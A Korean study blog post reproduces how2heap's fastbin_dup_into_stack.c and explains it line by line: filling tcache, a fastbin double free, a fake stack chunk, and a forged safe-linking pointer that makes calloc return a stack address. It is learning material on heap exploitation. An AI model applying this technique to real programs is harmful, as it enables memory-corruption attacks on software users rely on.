2025. 5. 11. 14:58ㆍHacking/Pwnable
원문 복사 : https://github.com/shellphish/how2heap/tree/master
GitHub - shellphish/how2heap: A repository for learning various heap exploitation techniques.
A repository for learning various heap exploitation techniques. - shellphish/how2heap
github.com
fastbin_dup_into_stack.c
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
fprintf(stderr,"Fill up tcache first.\n");
void *ptrs[7];
for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
unsigned long stack_var[4] __attribute__ ((aligned (0x10)));
fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);
fprintf(stderr, "1st calloc(1,8): %p\n", a);
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
fprintf(stderr, "3rd calloc(1,8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
//Calling free(a) twice renders the program vulnerable to Double Free
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long *d = calloc(1,8);
fprintf(stderr, "1st calloc(1,8): %p\n", d);
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var[1] = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
unsigned long ptr = (unsigned long)stack_var;
unsigned long addr = (unsigned long) d;
/*VULNERABILITY*/
*d = (addr >> 12) ^ ptr;
/*VULNERABILITY*/
fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));
void *p = calloc(1,8);
fprintf(stderr, "4th calloc(1,8): %p\n", p);
assert((unsigned long)p == (unsigned long)stack_var + 0x10);
}
원문은 이렇고
-> 이 파일은 fastbin_dup.c를 확장한 것으로, calloc()이 우리가 조작한 위치(stack address)를 반환하도록 속이는 기법을 시연함.
= 단순 fastbin_dup에서의 double free를 넘어서, malloc/free의 메타데이터를 조작해서 malloc()/calloc()이 우리가 원하는 주소를 반환하게 만드는 것
= fastbin attack
= 원하는 주소를 malloc으로 할당받기
fprintf(stderr,"Fill up tcache first.\n");
- tcache를 먼저 채워서 -> fastbin을 강제로 사용하게 만들려는 목적
void *ptrs[7];
for (int i=0; i<7; i++) {
ptrs[i] = malloc(8);
}
for (int i=0; i<7; i++) {
free(ptrs[i]);
}
- malloc(8)은 실제로 정렬되어 0x20(32 bytes) chunk로 처리됨
- tcache는 동일한 크기의 chunk를 최대 7개까지 보관할 수 있음
=> 크기 0x20의 chunk 7개 할당
=> 다시 모두 free 해서 -> tcache[0x20] bin을 가득 채움
=> 이후의 동일 크기 free()는 fastbin으로 넘어감
unsigned long stack_var[4] __attribute__ ((aligned (0x10)));
fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);
fprintf(stderr, "1st calloc(1,8): %p\n", a);
fprintf(stderr, "2nd calloc(1,8): %p\n", b);
fprintf(stderr, "3rd calloc(1,8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
unsigned long stack_var[4] __attribute__ ((aligned (0x10)));
- stack_var는 스택에 잡힌 unsigned long 배열(총 32bytes)
- __attribute__((aligned(0x10)))은 16바이트 정렬을 명시한 것(heap chunk처럼 정렬되도록)
fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2);
- 목표는 calloc()이 stack_var[2]의 주소(==stack_var + 2)를 리턴하게 만드는 것
- fastbin의 freelish를 조작하여 stack_var[2]를 할당받도록 만들 예정임
int *a = calloc(1,8);
int *b = calloc(1,8);
int *c = calloc(1,8);
- 크기 8bytes -> 실제로는 0x20 사이즈의 chunk(fastbin 대상)
- calloc()은 내부적으로 malloc()후 memset(0)이므로 exploit엔 동일
fprintf(stderr, "1st calloc(1,8): %p\n", a);
...
=> 주소 출력: 이후 free 후 freelist 조작할 때 주소 비교용으로 사용
fprintf(stderr, "Freeing the first one...\n");
free(a);
-> a가 fastbin freelist의 top에 들어감
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
- glibc 보호 메커니즘: 같은 주소를 top에서 다시 free 하면 crash(double free 방지를 위함)
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
- 보호 우회를 위한 다른 free를 함.(glibc 보호 메커니즘을 피함!)
- b를 free하여 fastbin freelist의 top이 b가 되도록 한다.
=> a를 다시 free 해도 감지가 안 되어 double free가 가능하다.
//Calling free(a) twice renders the program vulnerable to Double Free
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long *d = calloc(1,8);
fprintf(stderr, "1st calloc(1,8): %p\n", d);
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var[1] = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
unsigned long ptr = (unsigned long)stack_var;
unsigned long addr = (unsigned long) d;
- fastbin에서 double free를 발생시켜 free list에 같은 주소를 두 번 삽입한 뒤, 해당 주소의 메모리 내용을 조작하여 malloc()/calloc()이 스택 주소를 반환하도록 속이는 구조
// Double Free 실행
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
- 이전에 b를 먼저 free했기 때문에 a는 top이 아님 -> glibc 보호 우회
=> 이 시점에 fastbin은:
fastbin[0x20] → a → b → a
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
- 현재 fastbin 리스트에는 a가 두 번 포함됨 -> 공격 가능 상태
unsigned long *d = calloc(1,8);
fprintf(stderr, "1st calloc(1,8): %p\n", d);
fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8));
- 첫 번째 calloc() -> a pop됨 -> d == a
- 두 번째 calloc() -> b pop됨
- 이제 fastbin에 남은 건 마지막 a
=> 다음 calloc()에서 a가 다시 반환될 예정임
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n", a);
- a는 아직 free list에 있음
- 우리는 그 chunk를 이미 한 번 받았으므로 해당 주소에 write 가능
=> freelist 조작 가능
fprintf(stderr, "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that calloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
- calloc() 또는 malloc()이 내부적으로 chunk를 할당할 때, fastbin에서 꺼낸 다음, 해당 주소에 있는 chunk 구조체가 진짜처럼 보이는지 검사함
=> size 필드가 정상적인 값이어야 함
stack_var[1] = 0x20;
-> 스택의 stack_var + 1 위치에 fake chunk size(0x20)를 써넣는 것
=> start_var + 2는 정상적인 free chunk처럼 보임
=> chunk의 data pointer처럼 보이도록 위장
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
- fastbin의 head가 이 fake chunk(스택 주소)를 가리키게 만듦
- 현재 할당받은 a의 첫 8바이트(fastbin fd)를 stack_var+2 주소로 덮음
fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n");
fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n");
최신 glibc (2.32+)에서는 fastbin fd 값이 그냥 포인터가 아니라 "포이즌(poisoned)된 값"으로 저장됨
Safe Linking 이란?
- 기존: fd = next_chunk
- 지금: fd = next_chunk ^ (heap_base >> 12)
=> glibc는 freelist 링크를 단순 포인터가 아니라 XOR 난독화된 포인터로 관리해서 freelist 조작 공격을 어렵게 만듦(이 뭔,,)
참고 문헌 : https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive
Safe-Linking - Eliminating a 20 year-old malloc() exploit primitive - Check Point Research
Research by: Eyal Itkin Overview One of our goals for every research project we work on in Check Point Research is to get an intimate understanding of how software work: What components do they contain? Are they vulnerable? How can attackers exploit these
research.checkpoint.com
unsigned long ptr = (unsigned long)stack_var;
unsigned long addr = (unsigned long) d;
- ptr: 우리가 calloc()으로 받고 싶은 주소(stack_var)
- addr: 현재 우리가 조작할 수 있는 주소(d, 즉 double-free로 다시 받은 a)
/*VULNERABILITY*/
*d = (addr >> 12) ^ ptr;
/*VULNERABILITY*/
fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));
void *p = calloc(1,8);
fprintf(stderr, "4th calloc(1,8): %p\n", p);
assert((unsigned long)p == (unsigned long)stack_var + 0x10);
}
이제 마지막으로 이 코드를 해석할 건데,
/*VULNERABILITY*/
*d = (addr >> 12) ^ ptr;
/*VULNERABILITY*/
- d는 a이고, a는 fastbin에 다시 들어가 있던 chunk임
- a는 다시 calloc()에서 쓰일 것이므로
=> *d = fastbin freelist의 fd (next chunk 주소)
glibc (2.32+) 에서 적용되기 시작한 safe linking 우회하여 우리가 원하는 fake chunk 주소를 freelist에 넣는 방식
fastbin[0x20] → fake_chunk (스택 주소!)
fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8));
- 이 시점에서 calloc()이: freelist head(우리가 조작한 값) pop -> 스택 주소 리턴
=> 우리가 아까부터 유도한 타깃 주소인 stack_var + 2
void *p = calloc(1,8);
fprintf(stderr, "4th calloc(1,8): %p\n", p);
assert((unsigned long)p == (unsigned long)stack_var + 0x10);
- stack_var는 unsigned long[4] -> 총 32바이트(0x20)
- stack_var + 2 -> 16바이트 오프셋 = stack_var + 0x10 주소(이 주소는 fake chunk의 시작 주소처럼 위장되어 있었고, calloc()이 결국 그 주소를 리턴해 내가 원하는 주소를 malloc()으로 할당받게 만들 수 있게됨
assert()를 통과하면 exploit 성공하게 됨